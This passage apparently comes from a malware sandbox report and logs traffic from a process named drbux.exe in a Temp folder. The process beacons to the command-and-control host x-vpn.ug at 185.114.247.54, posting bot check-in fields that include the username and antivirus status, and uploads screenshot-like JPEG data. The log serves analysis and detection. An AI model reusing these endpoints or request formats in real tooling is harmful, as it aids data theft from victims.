Jul 19, 2021 18:36:38.425030947 CEST	18264	OUT	Data Raw: e1 ee 72 a1 29 7b dc cc f5 2d 6e cc c5 e1 a9 ee c5 95 ed 98 9b c3 d6 08 75 0b 82 1a da e7 02 13 e4 c6 a5 46 24 ca 83 9d cf c2 b7 03 39 17 35 1d 1e e1 3e 2d 5d 4d 06 81 ac 5b 9b af b7 aa dc 4f 97 8a e9 8d b4 9b 7c 90 23 5f 7e 37 36 73 5e 41 b1 7d Data Ascii: r){-nuF$95>-]M[O\|#_~76s^A}(mD_h.iz}WkK["07c{MHR5(#P#eP/)UPy~#Eq[MBI_~&OD4+Aukt Hee#bv9 r*fxj{^
Jul 19, 2021 18:36:38.511425972 CEST	18265	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.6	50004	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:38.380749941 CEST	18253	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:38.459884882 CEST	18265	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.6	50005	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:38.663764954 CEST	18266	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:38.745924950 CEST	18266	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.6	50006	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:38.779793024 CEST	18267	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:38.779972076 CEST	18267	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:38.780241013 CEST	18277	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:38.780383110 CEST	18280	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:38.859102011 CEST	18280	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:38.861349106 CEST	18283	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:38.862672091 CEST	18292	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:38.862715960 CEST	18299	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:38.862730980 CEST	18301	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:38.862796068 CEST	18303	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:38.863281012 CEST	18306	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:38.940594912 CEST	18309	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.6	50007	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:38.936459064 CEST	18307	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:39.016627073 CEST	18356	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.6	50008	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:39.206082106 CEST	18366	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:39.285178900 CEST	18367	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	49762	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:33.491952896 CEST	3363	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:33.492100954 CEST	3364	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:33.492335081 CEST	3374	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:33.492465019 CEST	3376	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:33.589786053 CEST	3377	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:33.589920044 CEST	3380	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:33.590154886 CEST	3382	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:33.590790987 CEST	3385	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:33.591099977 CEST	3388	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:33.591375113 CEST	3393	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:33.591432095 CEST	3396	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:33.591941118 CEST	3403	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.6	50009	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:39.349195957 CEST	18367	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:39.349306107 CEST	18368	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:39.349503040 CEST	18378	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:39.349720001 CEST	18380	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
